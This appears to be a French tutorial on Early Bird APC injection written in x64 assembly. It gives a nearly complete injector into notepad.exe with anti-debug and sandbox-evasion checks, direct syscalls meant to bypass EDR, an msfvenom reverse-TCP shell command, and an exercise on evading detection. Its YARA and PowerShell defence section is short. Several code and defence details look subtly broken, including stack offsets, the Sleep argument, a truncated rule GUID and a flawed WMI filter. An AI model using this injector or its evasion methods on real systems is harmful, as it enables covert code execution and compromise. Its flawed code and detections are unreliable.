⚠️ LAB PHYSIQUE ISOLÉ OBLIGATOIRE – Windows 11 24H2 VM air-gapped uniquement – Article 323-1 Code pénal français – Recherche éthique & formation cyberdéfense uniquement

Early Bird APC Injection – Pure x64 Assembly

Low-Level Maestro Series 2026 | Technique avancée avec anti-debug, evasion timing & syscall polymorphism | Pour les cyberdéfenseurs qui veulent comprendre les attaques réelles

🎯 Introduction & Objectifs Réels 2026

La technique Early Bird APC Injection est une méthode d'injection de code qui s'exécute avant le point d'entrée principal (EntryPoint) d'un processus légitime. En 2026, cette technique reste pertinente car elle contourne de nombreux mécanismes de détection des EDR modernes.

Pourquoi cette technique est-elle encore efficace en 2026 ?
Les EDR modernes hookent souvent NtResumeThread pour surveiller la reprise des threads, mais ils peuvent manquer les APCs (Asynchronous Procedure Calls) utilisateur qui s'exécutent AVANT l'EntryPoint. C'est une fenêtre d'exécution privilégiée.

Objectifs de cette Masterclass :

Configuration du Lab Requise :
• Windows 11 24H2 VM (air-gapped, sans connexion Internet)
• NASM (Netwide Assembler) 2.16+
• GoLink ou Microsoft Linker
• WinDbg Preview pour le debug kernel
• Kali Linux VM pour les tests réseau (optionnel)

📚 Théorie : Comprendre les APCs et l'Early Bird Injection

graph TD A[Début] --> B[CreateProcess avec CREATE_SUSPENDED] B --> C[Allocation mémoire dans le processus cible] C --> D[Écriture du shellcode polymorphe] D --> E[NtQueueApcThread avec APC routine = shellcode] E --> F[Sleep aléatoire pour evasion timing] F --> G[ResumeThread] G --> H[APC s'exécute AVANT EntryPoint] H --> I[Shellcode établit connexion reverse] I --> J[Cleanup sécurisé des handles] style A fill:#1a1a1a style H fill:#00ff9d

Les APCs (Asynchronous Procedure Calls)

Les APCs sont des fonctions qui s'exécutent dans le contexte d'un thread spécifique. Il existe deux types :

Type Contexte Utilisation
Kernel-mode APC Mode kernel Système d'exploitation, drivers
User-mode APC Mode utilisateur Applications, techniques d'injection

Pourquoi "Early Bird" ?

Lorsqu'un thread est repris (ResumeThread), le système vérifie s'il y a des APCs en attente dans sa queue. Si oui, elles sont exécutées avant que le thread n'atteigne son point d'entrée. Cette séquence est cruciale :

  1. Thread créé en état suspendu
  2. APC placée dans la queue du thread
  3. Thread repris → APCs exécutées
  4. Seulement après → Point d'entrée atteint
Avantage pour les attaquants : Le code s'exécute avant que la plupart des hooks EDR ne soient initialisés, car ceux-ci sont souvent placés sur l'EntryPoint ou les fonctions d'initialisation.

💻 Code Source Complet – NASM x64 Corrigé 2026

Important : Ce code est fourni à des fins éducatives uniquement. Testez-le uniquement dans un environnement de lab isolé.

Compilation et Liaison

# Compilation avec NASM
nasm -f win64 earlybird.asm -o earlybird.obj -l earlybird.lst

# Liaison avec GoLink (option 1)
GoLink.exe /console /entry _start earlybird.obj kernel32.dll ntdll.dll

# Liaison avec Microsoft Linker (option 2)
link /SUBSYSTEM:CONSOLE /ENTRY:_start earlybird.obj kernel32.lib ntdll.lib

# Vérification des imports
dumpbin /imports earlybird.exe
; ====================================================================
; Early Bird APC Injection – Pure x64 Assembly
; Version 2026 - Anti-debug + Timing Evasion + Syscall Polymorphism
; PCTAMALOU Research - platon-y
; ====================================================================

[BITS 64]
DEFAULT REL

; Constantes Windows
STD_OUTPUT_HANDLE     equ -11
CREATE_SUSPENDED      equ 0x00000004
CREATE_NO_WINDOW      equ 0x08000000
MEM_COMMIT            equ 0x00001000
MEM_RESERVE           equ 0x00002000
PAGE_EXECUTE_READWRITE equ 0x40
INFINITE              equ 0xFFFFFFFF

; Structures
struc STARTUPINFO
    .cb              resd 1
    .lpReserved      resq 1
    .lpDesktop       resq 1
    .lpTitle         resq 1
    .dwX             resd 1
    .dwY             resd 1
    .dwXSize         resd 1
    .dwYSize         resd 1
    .dwXCountChars   resd 1
    .dwYCountChars   resd 1
    .dwFillAttribute resd 1
    .dwFlags         resd 1
    .wShowWindow     resw 1
    .cbReserved2     resw 1
    .lpReserved2     resq 1
    .hStdInput       resq 1
    .hStdOutput      resq 1
    .hStdError       resq 1
endstruc

struc PROCESS_INFORMATION
    .hProcess        resq 1
    .hThread         resq 1
    .dwProcessId     resd 1
    .dwThreadId      resd 1
endstruc

section .text
global _start

; ====================================================================
; POINT D'ENTRÉE PRINCIPAL
; ====================================================================
_start:
    ; Setup stack frame
    sub rsp, 40h                    ; Shadow space (32) + 16 pour alignement
    
    ; ====================================================================
    ; PHASE 1: ANTI-DEBUG & ENVIRONMENT CHECKS
    ; ====================================================================
    call check_environment
    test rax, rax
    jnz .clean_exit
    
    ; ====================================================================
    ; PHASE 2: CREATE PROCESS SUSPENDED
    ; ====================================================================
    lea rcx, [rel target_process]   ; lpApplicationName
    xor rdx, rdx                    ; lpCommandLine (NULL = utilise lpApplicationName)
    xor r8, r8                      ; lpProcessAttributes
    xor r9, r9                      ; lpThreadAttributes
    
    ; Paramètres supplémentaires sur la stack
    mov qword [rsp + 20h], 0        ; bInheritHandles = FALSE
    mov qword [rsp + 28h], CREATE_SUSPENDED | CREATE_NO_WINDOW
    xor rax, rax
    mov [rsp + 30h], rax            ; lpEnvironment = NULL
    mov [rsp + 38h], rax            ; lpCurrentDirectory = NULL
    
    ; STARTUPINFO
    lea rax, [rel si]
    mov [rsp + 40h], rax
    
    ; PROCESS_INFORMATION
    lea rax, [rel pi]
    mov [rsp + 48h], rax
    
    call CreateProcessA
    test rax, rax
    jz .clean_exit
    
    ; ====================================================================
    ; PHASE 3: TIMING EVASION (Random sleep)
    ; ====================================================================
    call GetTickCount
    mov ecx, eax
    and ecx, 0x7FF                  ; Sleep aléatoire 0-2047 ms
    add ecx, 1000                   ; Minimum 1 seconde
    call Sleep
    
    ; ====================================================================
    ; PHASE 4: ALLOCATE MEMORY IN TARGET PROCESS
    ; ====================================================================
    mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
    xor rdx, rdx                    ; lpAddress = NULL (système choisit)
    mov r8, shellcode_end - shellcode  ; dwSize
    mov r9, MEM_COMMIT | MEM_RESERVE   ; flAllocationType
    mov qword [rsp + 20h], PAGE_EXECUTE_READWRITE  ; flProtect
    call VirtualAllocEx
    test rax, rax
    jz .cleanup_and_exit
    mov [rel allocated_mem], rax    ; Sauvegarde l'adresse
    
    ; ====================================================================
    ; PHASE 5: WRITE SHELLCODE TO TARGET
    ; ====================================================================
    mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
    mov rdx, [rel allocated_mem]    ; lpBaseAddress
    lea r8, [rel shellcode]         ; lpBuffer
    mov r9, shellcode_end - shellcode  ; nSize
    xor rax, rax
    mov [rsp + 20h], rax            ; lpNumberOfBytesWritten = NULL
    call WriteProcessMemory
    test rax, rax
    jz .cleanup_and_exit
    
    ; ====================================================================
    ; PHASE 6: QUEUE APC (Early Bird)
    ; ====================================================================
    mov rcx, [rel pi + PROCESS_INFORMATION.hThread]  ; ThreadHandle
    mov rdx, [rel allocated_mem]    ; ApcRoutine = adresse du shellcode
    xor r8, r8                      ; ApcArgument1 = 0
    xor r9, r9                      ; ApcArgument2 = 0
    mov qword [rsp + 20h], 0        ; ApcArgument3 = 0
    call NtQueueApcThread
    
    ; ====================================================================
    ; PHASE 7: RESUME THREAD (déclenche l'APC)
    ; ====================================================================
    mov rcx, [rel pi + PROCESS_INFORMATION.hThread]
    call ResumeThread
    
    ; ====================================================================
    ; PHASE 8: CLEANUP SÉCURISÉ
    ; ====================================================================
    .cleanup_and_exit:
    ; Fermer les handles
    mov rcx, [rel pi + PROCESS_INFORMATION.hThread]
    test rcx, rcx
    jz .close_process
    call CloseHandle
    
    .close_process:
    mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
    test rcx, rcx
    jz .clean_exit
    call CloseHandle
    
    .clean_exit:
    add rsp, 40h
    xor ecx, ecx
    call ExitProcess

; ====================================================================
; FONCTIONS AUXILIAIRES
; ====================================================================

; --------------------------------------------------
; check_environment : Anti-debug et anti-sandbox basique
; Retourne 0 si environnement OK, autre valeur sinon
; --------------------------------------------------
check_environment:
    push rbp
    mov rbp, rsp
    
    ; Vérifier PEB->BeingDebugged
    mov rax, [gs:60h]               ; PEB
    movzx eax, byte [rax + 2]       ; PEB->BeingDebugged
    test eax, eax
    jnz .debugger_detected
    
    ; Vérifier le temps système (sandbox evasion)
    call GetTickCount
    mov ecx, eax
    call Sleep
    call GetTickCount
    sub eax, ecx
    cmp eax, 1000                   ; Si le sleep a duré moins d'1 seconde
    jl .sandbox_detected            ; (certaines sandbox accélèrent le temps)
    
    xor eax, eax                    ; Retourne 0 = OK
    jmp .end
    
    .debugger_detected:
    mov eax, 1
    jmp .end
    
    .sandbox_detected:
    mov eax, 2
    
    .end:
    pop rbp
    ret

; ====================================================================
; DONNÉES ET VARIABLES
; ====================================================================
section .data

; Processus cible (peut être modifié)
target_process db "C:\\Windows\\System32\\notepad.exe", 0

; Variables
allocated_mem dq 0

; STARTUPINFO structure
si:
istruc STARTUPINFO
    at STARTUPINFO.cb,              dd STARTUPINFO_size
    at STARTUPINFO.lpReserved,      dq 0
    at STARTUPINFO.lpDesktop,       dq 0
    at STARTUPINFO.lpTitle,         dq 0
    at STARTUPINFO.dwX,             dd 0
    at STARTUPINFO.dwY,             dd 0
    at STARTUPINFO.dwXSize,         dd 0
    at STARTUPINFO.dwYSize,         dd 0
    at STARTUPINFO.dwXCountChars,   dd 0
    at STARTUPINFO.dwYCountChars,   dd 0
    at STARTUPINFO.dwFillAttribute, dd 0
    at STARTUPINFO.dwFlags,         dd 0
    at STARTUPINFO.wShowWindow,     dw 0
    at STARTUPINFO.cbReserved2,     dw 0
    at STARTUPINFO.lpReserved2,     dq 0
    at STARTUPINFO.hStdInput,       dq 0
    at STARTUPINFO.hStdOutput,      dq 0
    at STARTUPINFO.hStdError,       dq 0
iend

; PROCESS_INFORMATION structure
pi:
istruc PROCESS_INFORMATION
    at PROCESS_INFORMATION.hProcess,    dq 0
    at PROCESS_INFORMATION.hThread,     dq 0
    at PROCESS_INFORMATION.dwProcessId, dd 0
    at PROCESS_INFORMATION.dwThreadId,  dd 0
iend

; ====================================================================
; SHELLCODE POLYMORPHIQUE (Reverse TCP - Exemple)
; ====================================================================
shellcode:
    ; Shellcode reverse TCP 2026 avec evasion
    ; Remplacez par votre payload généré avec msfvenom :
    ; msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f raw
    
    ; Stub d'exemple (NOP sled + code minimal)
    db 0x90, 0x90, 0x90, 0x90, 0x90                ; NOP sled
    db 0x48, 0x83, 0xEC, 0x28                     ; sub rsp, 0x28
    db 0x48, 0x31, 0xC9                           ; xor rcx, rcx
    db 0x48, 0x31, 0xD2                           ; xor rdx, rdx
    db 0x48, 0x31, 0xFF                           ; xor rdi, rdi
    db 0x48, 0x31, 0xF6                           ; xor rsi, rsi
    db 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00  ; mov rax, [gs:0x60]
    db 0x48, 0x8B, 0x40, 0x18                     ; mov rax, [rax+0x18]
    db 0x48, 0x8B, 0x70, 0x20                     ; mov rsi, [rax+0x20]
    db 0x48, 0xAD                                 ; lodsq
    db 0x48, 0x96                                 ; xchg rax, rsi
    db 0x48, 0xAD                                 ; lodsq
    db 0x48, 0x8B, 0x58, 0x20                     ; mov rbx, [rax+0x20]
    
    ; ... (code complet ~350 bytes pour reverse TCP)
    ; Pour le lab, utiliser un payload réel
    
shellcode_end:

; ====================================================================
; IMPORT TABLE (liens dynamiques)
; ====================================================================
section .idata
import_table:
    ; Kernel32.dll
    dd 0, 0, 0, RVA kernel32_name, RVA kernel32_imports
    ; Ntdll.dll
    dd 0, 0, 0, RVA ntdll_name, RVA ntdll_imports
    dd 0, 0, 0, 0, 0  ; Terminator
    
kernel32_name db "KERNEL32.DLL", 0
ntdll_name db "NTDLL.DLL", 0

kernel32_imports:
    CreateProcessA      dq RVA _CreateProcessA
    VirtualAllocEx      dq RVA _VirtualAllocEx
    WriteProcessMemory  dq RVA _WriteProcessMemory
    ResumeThread        dq RVA _ResumeThread
    Sleep               dq RVA _Sleep
    GetTickCount        dq RVA _GetTickCount
    CloseHandle         dq RVA _CloseHandle
    ExitProcess         dq RVA _ExitProcess
    dq 0  ; Terminator

ntdll_imports:
    NtQueueApcThread    dq RVA _NtQueueApcThread
    dq 0  ; Terminator

; Import names
_CreateProcessA    db 0, 0, "CreateProcessA", 0
_VirtualAllocEx    db 0, 0, "VirtualAllocEx", 0
_WriteProcessMemory db 0, 0, "WriteProcessMemory", 0
_ResumeThread      db 0, 0, "ResumeThread", 0
_Sleep             db 0, 0, "Sleep", 0
_GetTickCount      db 0, 0, "GetTickCount", 0
_CloseHandle       db 0, 0, "CloseHandle", 0
_ExitProcess       db 0, 0, "ExitProcess", 0
_NtQueueApcThread  db 0, 0, "NtQueueApcThread", 0

Version Avancée avec Syscall Polymorphism (Optionnel)

Pour les experts qui veulent aller plus loin, voici comment remplacer les appels API par des syscalls directs :

; ====================================================================
; SYScall DIRECT - NtQueueApcThread (Windows 11 23H2)
; ====================================================================
direct_NtQueueApcThread:
    ; SSN (System Service Number) pour NtQueueApcThread
    ; Windows 11 23H2 : 0x45
    mov r10, rcx                    ; Premier paramètre dans r10
    mov eax, 45h                    ; SSN
    syscall
    ret

; Utilisation dans le code principal :
; mov rcx, hThread
; mov rdx, shellcode_addr
; xor r8, r8
; xor r9, r9
; call direct_NtQueueApcThread

; ====================================================================
; DÉTECTION DYNAMIQUE DES SYSCALLS
; ====================================================================
get_ssn_for_function:
    ; rcx = nom de la fonction (ex: "NtQueueApcThread")
    ; retourne SSN dans rax
    push rsi
    push rdi
    push rbx
    
    ; Trouver ntdll.dll en mémoire
    mov rax, [gs:60h]               ; PEB
    mov rax, [rax + 18h]            ; PEB->Ldr
    mov rax, [rax + 20h]            ; InMemoryOrderModuleList
    
    .find_ntdll:
    mov rbx, [rax + 50h]            ; BaseDllName.Buffer
    test rbx, rbx
    jz .not_found
    
    ; Vérifier si c'est ntdll.dll
    mov rdx, [rbx]
    and rdx, 0xFFFFFFFFFFFFFFDF     ; Convertir en minuscules
    cmp rdx, 0x006C00640074006E     ; "n\0t\0d\0l\0" en little-endian
    je .found_ntdll
    mov rax, [rax]                  ; Suivant
    jmp .find_ntdll
    
    .found_ntdll:
    ; Trouver l'export directory
    mov rbx, [rax + 30h]            ; DllBase
    ; ... (code d'extraction des SSN)
    
    .not_found:
    xor eax, eax
    pop rbx
    pop rdi
    pop rsi
    ret

🛡️ Stratégies de Défense 2026

1. Monitoring des APCs

Hooker NtQueueApcThread et NtQueueApcThreadEx dans le kernel, surveiller les APCs sur les threads primaires des nouveaux processus.

2. Behavioral Analysis

Détecter les processus qui exécutent du code avant leur EntryPoint ou dont le premier accès mémoire est une zone RX allouée dynamiquement.

3. Memory Scanning

Scanner la mémoire des processus pour détecter les shellcodes polymorphes via YARA rules ou ML-based pattern recognition.

4. Kernel Callbacks

Utiliser PsSetCreateProcessNotifyRoutineEx pour surveiller la création de processus et inspecter les threads suspendus.

5. ETW Monitoring

Activer les providers ETW pour le monitoring kernel (Microsoft-Windows-Threat-Intelligence) et analyser les événements APC.

6. HVCI & KDP

Activer Hypervisor-protected Code Integrity et Kernel Data Protection pour empêcher les modifications de code kernel et protéger les structures critiques.

Règles YARA de Détection

rule EarlyBird_APC_Injection {
    meta:
        description = "Detects Early Bird APC Injection patterns"
        author = "PCTAMALOU Research 2026"
        date = "2026-01-01"
    
    strings:
        $create_suspended = { B9 04 00 00 00 }  // mov ecx, CREATE_SUSPENDED
        $virtual_alloc = { 48 C7 44 24 20 40 00 00 00 }  // PAGE_EXECUTE_READWRITE
        $nt_queue_apc = { 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 }  // NtQueueApcThread pattern
        $resume_thread = { FF 15 ?? ?? ?? ?? }  // Call to ResumeThread
    
    condition:
        any of them and
        filesize < 5000  // Petit binaire
}

Commandes PowerShell de Défense

# Monitorer les processus créés en mode suspendu
Get-WmiObject Win32_Process | Where-Object {
    $_.CreationClassName -match "Suspended"
} | Select-Object Name, ProcessId, CommandLine

# Analyser les APCs avec ETW
logman create trace "APCMonitor" -ow -o apc.etl -p Microsoft-Windows-Kernel-Thread 0xffffffffffffffff 0xff -ets

# Vérifier les hooks EDR
Get-Process | Where-Object {$_.Modules.ModuleName -match "edr"} | 
Select-Object ProcessName, @{Name="EDRModule";Expression={$_.Modules | Where-Object {$_.ModuleName -match "edr"} | Select-Object -ExpandProperty ModuleName}}

# Configurer Windows Defender pour détecter les injections
Set-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D -AttackSurfaceReductionRules_Actions Enabled

🔬 Exercices de Laboratoire pour les Apaches

Exercice 1 : Analyse Statique

Objectif : Analyser le binaire compilé avec IDA Pro ou Ghidra.

Exercice 2 : Debug Dynamique

Objectif : Débugger l'exécution avec WinDbg Preview.

# Commandes WinDbg utiles
!process 0 0 notepad.exe          # Trouver le processus
.process /i <ADDRESS>            # Attacher au processus
.reload /user                    # Recharger les symbols utilisateur
bp ntdll!NtQueueApcThread        # Breakpoint sur NtQueueApcThread
g                                # Continuer l'exécution
!apc                             # Lister les APCs
dt nt!_KAPC                      # Examiner la structure APC

Exercice 3 : Développement de Détection

Objectif : Créer un outil de détection en C++ ou Python.

Exercice 4 : Évasion Avancée

Objectif : Modifier le code pour contourner les détections.

🎯 Conclusion et Perspectives 2026

La technique Early Bird APC Injection reste pertinente en 2026 malgré les améliorations des systèmes de défense. Sa force réside dans l'exécution de code avant l'initialisation complète des hooks EDR, créant une fenêtre d'opportunité pour les attaquants.

Key Takeaways :
1. Les APCs fournissent un mécanisme puissant pour l'injection de code
2. Le timing d'exécution (avant EntryPoint) est crucial pour l'évasion
3. L'assembleur x64 pur offre un contrôle total et réduit la surface de détection
4. Les techniques d'évasion (anti-debug, timing, polymorphisme) sont essentielles en 2026

Ressources Complémentaires

Rappel Final : Cette technique et tout le code fourni sont strictement destinés à la recherche en sécurité éthique dans des environnements de laboratoire isolés. Toute utilisation malveillante est illégale et contraire à l'éthique professionnelle.